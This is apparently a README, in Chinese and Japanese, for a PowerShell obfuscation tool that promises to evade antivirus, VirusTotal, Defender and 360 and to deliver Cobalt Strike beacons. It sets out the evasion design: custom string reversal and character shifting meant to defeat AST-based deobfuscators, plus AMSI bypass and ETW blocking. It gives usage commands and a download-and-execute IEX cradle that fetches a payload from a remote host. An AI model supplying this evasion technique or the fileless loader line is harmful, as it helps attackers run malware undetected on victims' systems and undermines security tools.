powershell-obfuscation - powershell免杀混淆器,简单有效,VT全过。シンプルで効果的なPowerShell難読化ツールは、アンチウイルスをバイパスします

(powershell免杀混淆器,简单有效,VT全过。A simple and effective powershell obfuscaiton tool bypass Anti-Virus)

Created at: 2022-12-02 15:48:26
Language: PowerShell

パワーシェル難読化

简单有效的PowerShell免杀混淆的小工具,VT全绿,可过Defender、360等,可执行上线cobaltstrike等操作。

AMSI混淆绕过+ETW混淆block+powershell命令混淆绕过。

请勿使用于任何非法用途,由此产生的后果自行承担。

上述测试环境均为实体机。

シンプルで効果的なパワーシェル難読化ツールは、アンチウイルス、VTをバイパスします。

AMSI バイパス難読化 + ETW ブロック難読化 + PowerShell コマンド難読化。

違法な目的で使用しないでください、そしてそれに起因する結果はあなた自身が負うものとします。

思路

这段时间看了看powershell反混淆相关的内容与论文,目前反混淆效果最好的应该是2022年qax的《Invoke-Deobfuscation: AST-based and Semantics-Preserve Deobfuscation for PowerShell Scripts》,该论文延续了19年CCS浙大的思路并进行了改进,使用了变量追踪并在AST层面上进行了invoke解混淆,比defend和VT的效果好不少。

不过论文中也提到了当前PowerShell反混淆研究的难点,一个是自定义function加密解不开,一个是很难去追踪循环中的变量。

由于部分的反混淆工具会在AST层面上进行反混淆的工作,因此powershell自带的大部分加密解密/编码解码的函数是形同虚设的,如[System.Convert]::FromBase64String等。应该尽可能去使用自定义的加密解密的function。

这里针对这两个学术界研究的难点,写了一个简单的PowerShell混淆器,事实证明效果确实也不错。具体思路如下:

1、自定义加密解密function,function中进行字符串的逆序(逆序没有用PowerShell自带的函数,防止AST层面上解混淆)与字符的+-运算(不使用异或运算的原因是defender对-bxor监控很严格)。

2、对上述function进行几次循环的运算。

3、为了能让字符有效地输出,最后用base64编码了一下(即便在AST层面上解开也无所谓,因为解开了的内容仍是混淆之后的)。

同时对AMSI绕过与ETW block与powershell命令进行了混淆。

这里仅仅实现了一个简单的混淆器デモ,可以自由发挥,后续要是有时间的话我会继续完善。

实验了一下,用qax的反混淆工具与Unit42团队的反混淆工具都是解不开的。

現時点で最高の難読化防止効果を持つツールは、《呼び出し-難読化解除: PowerShell スクリプトの AST ベースおよびセマンティクス保持の難読化解除》です。この論文では、変数追跡を使用し、ASTレベルで難読化解除を呼び出すと、その効果はディフェンダーやVTよりもはるかに優れています。

しかし、この論文では、現在のPowerShellの難読化防止研究の難しさについても言及しています。1つは、カスタム関数の暗号化を難読化解除できないこと、もう1つは、ループ内の変数を追跡するのが難しいことです。

一部の難読化解除ツールは AST レベルで難読化を解除するため、[System.Convert]::FromBase64String など、PowerShell に付属する暗号化/エンコード関数のほとんどは役に立ちません。可能な限り、カスタムの暗号化および復号化関数を使用する必要があります。

これらの学術研究の難しさを目指して、私は簡単なPowerShell難読化ツールを書きました、そしてそれは結果が本当に良いことがわかりました。具体的なアイデアは次のとおりです。

  1. 暗号化および復号化機能をカスタマイズします。関数では、文字列を逆にします (文字列の反転は、AST レベルでの混乱を防ぐために PowerShell に付属する関数を使用しません) および文字の +- 演算 (ここで XOR 演算が使用されない理由は、ディフェンダーが -bxor を厳密に監視するためです)。

  2. 暗号化および復号化機能に対していくつかのループ操作を実行します。

  3. 文字を効果的に出力できるようにするために、最終的にbase64でエンコードされます(ASTレベルでデコードされても、デコードされたコンテンツはまだ難読化されているため、問題ありません)。

このツールは、AMSI バイパス難読化、ETW ブロック難読化、および PowerShell コマンド難読化を実装します。

使用的方法

./powershell-obfuscation.ps1 -c "whoami"
来混淆命令 難読化コマンド

./powershell-obfuscation.ps1 -f "filename"
来混淆指定的文件(绝对路径) 特定のファイル(絶対パス)を難読化する

结果会输出在当前目录下的bypass.ps1中

結果は bypass.ps1 で確認できます。

以cs的beacon.ps1为例

例としてビーコン.ps1を取り上げます

上线cs可以混淆beacon.ps1然后落地来执行,也可以直接混淆cs的iex下载一句话IEX ((new-object net.webclient).downloadstring('http://ip:port/a')来不落地执行。

混淆前VT如下:

1671255963304

混淆后VT如下:

1671255985878

上线:

画像